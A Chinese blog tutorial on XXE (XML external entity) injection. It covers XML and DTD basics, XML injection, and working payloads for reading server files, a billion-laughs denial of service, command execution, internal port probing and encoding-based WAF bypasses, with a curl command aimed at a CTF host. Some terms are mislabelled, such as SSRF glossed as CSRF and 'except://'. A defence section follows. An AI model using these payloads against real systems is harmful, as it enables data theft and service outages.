xxe漏洞

XXE漏洞(XML外部实体注入)

来源网站:从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)

一.XXE是什么?

​ XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
​ XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

二.首先认识XML

  • 可扩展标记语言(Extensible Markup Language),没有固定的标签,所有的标签都可以自定义。
  • 使用简单的标记来描述数据
  • 通常,xml被用于信息的记录和传递,因此经常被作用为配置文件
  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。
  • HTML 旨在显示信息,而 XML 旨在传输信息

XML示例

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>         		 <!--xml文件的声明-->
<bookstore>                                                     		 <!--根元素-->
	<book category="COOKING">                                        <!--bookstore的子元素,category为属性-->
		<title>Everyday Italian</title>                                  <!--book的子元素-->
		<author>Giada De Laurentiis</author>                             <!--book的子元素-->
		<year>2005</year>                                                <!--book的子元素-->
		<price>30.00</price>                                             <!--book的子元素-->
	</book>                                                          	 <!--book的结束-->
</bookstore>                                     	             		 <!--bookstore的结束-->

三.DTD

DTD基本概念

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。
DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体

dtd的引入方式

内部 DTD

使用内部的dtd文件,即将约束规则定义在xml文档中

<!DOCTYPE 根元素名称 [元素声明]>

代码示例

<?xml version="1.0"?>
<!DOCTYPE note [						<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>	<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>					<!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>				<!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>				<!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>				<!--定义body元素为”#PCDATA”类型-->
]>

<note>
	<to>Y0u</to>
	<from>@re</from>
	<head>v3ry</head>
	<body>g00d!</body>
</note>

外部 DTD

(1)引入外部的dtd文件

<!DOCTYPE 根元素名称 SYSTEM "dtd路径">

(2)使用外部的dtd文件(网络上的dtd文件)

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

示例代码:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a SYSTEM "test.dtd">

<note>
	<to>Y0u</to>
	<from>@re</from>
	<head>v3ry</head>
	<body>g00d!</body>
</note>

DTD实体

  • 实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
  • 实体引用是对实体的引用。
  • 实体可在内部或外部进行声明。

按实体有无参分类,实体分为一般实体参数实体

一般实体的声明:<!ENTITY 实体名称 "实体内容">    
引用一般实体的方法:&实体名称;
参数实体的声明:<!ENTITY % 实体名称 "实体内容">
引用参数实体的方法:%实体名称;

按实体使用方式分类,实体分为内部声明实体引用外部实体

内部实体

<!ENTITY 实体名称 "实体的值">

内部实体示例代码:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY right "Copyright W3School.com.cn">
]>

<test>&writer;&right;</test>

外部实体

外部实体,用来引入外部资源。有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

外部实体示例代码:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY  b SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&file;&b;</author>

外部实体可支持http、file等协议。不同程序支持的协议不同:

常见的利用协议

file://文件绝对路径 如:file:///etc/passwd
http://url/file.txt
php://filter/read=convert.base64-encode/resource=xxx.php

参数实体+外部实体

<!ENTITY % 实体名称 SYSTEM "URI/URL">

参数实体+外部实体示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  %file;
]>

%file(参数实体)是在DTD中被引用的,而&file是在xml文档中被引用的。

四.XML注入

img

XML注入是一种古老的技术,通过利用闭合标签改写XML文件实现的。

XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以

改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注

入攻击。

XML注入前提条件

(1)用户能够控制数据的输入

(2)程序有拼凑的数据

注入实例

test1.xml

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <username>admin</username>
    <password>admin</password>

    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
</manager>

XML与HTML一样,也存在注入攻击,在注入的方法上也非常相似。

对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入。如攻击者输入:

<admin id="3">
<name>hack</name
><password>hacker</password>
</admin>

最终修改结果为:

<?xml version="1.0" encoding="utf-8"?>
<manager>
    <admin id="1">
    <name>admin</name>
    <password>admin</password>
    </admin>
    <admin id="2">
    <username>root</username>
    <password>root</password>
    </admin>
    <admin id="3">
    <name>hack</name>
    <password>hacker</password>
    </admin>
</manager>

这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。

XML注入两大要素:标签闭合和获取XML表结构

xxe利用(Payload)

约束通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合:

<!ELEMENT 标签名 ANY>

xxe的检测:

  • 1.提交的数据包含xml格式如: admin

  • 2.请求头中如:Content-Type: text/xml或Content-Type: application/xml

  • 3.盲猜:更改content-type值application/xml看返回

  • 4.在输入框内或接受XML数据的点输入payload,观察页面或者返回数据包内是否存在 Hello XXE 字样,也就是对于XXE攻击首先看此

    处是否可以解析XML数据

payload:
<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [ 
	<!ENTITY words "Hello XXE !">
]>
<root>
	&words;
</root>

xxe的危害:

 1.任意文件读取(敏感数据泄露)
	XXE攻击可以使攻击者读取服务器上的文件,包括配置文件、源代码、密码文件等,从而泄露敏感信息。
 2.SSRF(跨站请求伪造)
    通过XXE攻击,攻击者可能能够迫使服务器与内部系统或外部服务器进行交互,可能导致数据泄露或其他安全问题。
 3.DOS攻击
	XXE攻击可以用于发起拒绝服务攻击,例如通过指向大量消耗资源的外部实体或构造庞大的XML文档来耗尽服务器资源。
 4.远程命令执行
	在某些情况下,特别是当解析器支持强大的功能时,XXE攻击可以用于执行远程代码或系统命令,从而完全控制受影响的服务器。
 5.内部系统扫描
	攻击者可以利用XXE攻击探测内部网络,识别内部服务和应用,从而为进一步的攻击提供信息。
 6.绕过防火墙
	攻击者可以利用XXE漏洞绕过直接从外部网络访问内部网络资源的限制

EXP:

1.敏感信息泄露(任意文件读取)

php文件读取:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<creds>
	<user>&xxe;</user>
</creds>

file协议读取文件:

<?xml version="1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<catalog>
    	<core id="test101">
     		<description>&xxe;</description>
  		</core>
</catalog>

SVG格式(一种基于XML的图像文件格式,用于创建二维矢量图形)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
  		<text x="10" y="20">&file;</text>
</svg>

2.SSRF(跨站请求伪造)


3.DOS攻击

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
	<root>&lol9;</root>
这种EXP,其核心逻辑是通过不断的迭代,从而增大lol9变量的空间。最终可以使得lol9变量大小超过3个G,最终可以撑爆一些小型服务器的内存,从而使得服务器宕机。

4.远程命令执行

配合php拓展命令执行;如果是 PHP 环境并安装 except 扩展,就可以利用它执行系统命令了

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "except://id">
]>
	<root>&xxe;</root>

5.探测内网端口

<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "http://192.168.0.103:8080/index.txt">
]>
	<root>&xxe;</root>
返回为空,说明内网中192.168.0.103服务器上,index.txt文件是存在的,也可以说8080端口是开放的,因此这里这个xxe漏洞,可以实现内网探针。

6.绕过防火墙(waf)

根据WAF处理XML验证的方式来研究两种类型的WAF:

1.成熟的waf——使用自己的解析器预处理XML文档的WAF。

2.基于正则表达式,仅搜索数据中的特定字符串或正则表达式的WAF。

eg:<!(?:DOCTYPE|ENTITY)(?:\s|%|&#[0-9]+;|&#x[0-9a-fA-F]+;)+[^\s]+\s+(?:SYSTEM|PUBLIC)\s+[\'\"]/im

绕过方法

1.文档中的额外空格

由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记

属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

2.格式无效

为了绕过WAF,还可以发送特殊格式的XML文档,以便WAF认为它们无效。

3.外来编码

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 -

utf-32BE,特别是不支持BOM。

4.在一个文档中使用两种类型的编码

绕过姿势

1.当只过滤了SYSTEM,PUBLIC等关键字时,可用双重实体编码(html)绕过
<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [
		<!ENTITY % a "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#97;&#112;&#112;&#47;&#102;&#108;&#52;&#103;&#50;&#53;&#51;&#51;&#51;&#51;&#51;&#51;&#51;&#51;&#46;&#116;&#120;&#116;&#34;&#32;&#62;" > 
    %a;
    ]>
  <root>
    <feedback>
      &xxe;
    </feedback>
  </root>
  
//<!ENTITY xxe SYSTEM "file:///app/fl4g2533333333.txt" >为编码部分
html转码后: 
 <?xml version="1.0" encoding="UTF-8"?>
 	<!DOCTYPE foo [
 		<!ENTITY % a "<!ENTITY xxe SYSTEM "file:///app/fl4g2533333333.txt" >" > 
    	%a;
    ]>
  <root>
    <feedback>
      &xxe;
    </feedback>
  </root>
2.使用编码方式绕过:UTF-16BE

构造poc:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file://etc/passwd">]>
<root>
<feedback>&xxe;</feedback>
</root>

然后保存为xml文件.

cat xxe.xml|iconv -f utf-8 -t utf-16be >xxe.8-16be.xml
解释一下:
将一个名为 xxe.xml 的文件从 UTF-8 编码转换为 UTF-16BE 编码,并将转换后的内容保存到一个新文件 xxe.8-16be.xml 中。

cat xxe.xml:读取 xxe.xml 文件的内容。
|:将 cat 命令的输出传递给后面的命令。
iconv -f utf-8 -t utf-16be:
iconv 是一个用于转换文件编码的命令。
-f utf-8 指定输入文件的编码格式是 UTF-8。
-t utf-16be 指定输出文件的编码格式是 UTF-16BE(大端字节序)。
> xxe.8-16be.xml:将转换后的内容重定向并保存到 xxe.8-16be.xml 文件中。

然后发包就行:

curl -X POST http://prob00-030.recruit.yulinsec.cn/ -H "Content-Type:application/xml;charset=UTF-16BE" --data-binary @xxe.8-16be.xml
解释:
curl 工具向指定的 URL 发送一个 POST 请求,将 xxe.8-16be.xml 文件的内容以 UTF-16BE 编码格式通过 POST 请求发送到指定的 URL。
 
curl -X POST:指定使用 POST 方法发送请求。
http://prob00-030.recruit.yulinsec.cn/:请求的目标 URL。
-H "Content-Type:application/xml;charset=UTF-16BE":设置请求头,指明内容类型为 XML,且使用 UTF-16BE 编码。
--data-binary @xxe.8-16be.xml:将名为 xxe.8-16be.xml 的文件作为请求的主体内容发送。
--data-binary 用于发送原始数据,确保文件内容按原样发送。

成功绕过。然后修改file伪协议读取的文件路径就行了

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file://app/fl4g25333333.txt">]>
<root>
<feedback>&xxe;</feedback>
</root>
3.http被过滤-->可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传
<?xml version = "1.0"?>
	<!DOCTYPE ANY [
    	<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> 
    ]>
	<root>&xxe;</root>

XML注入防御

(1)禁用外部实体

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

(2)过滤用户提交的XML数据,过滤关键字:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC


posted @ 2024-11-04 20:20  sw浪  阅读(527)  评论(0)    收藏  举报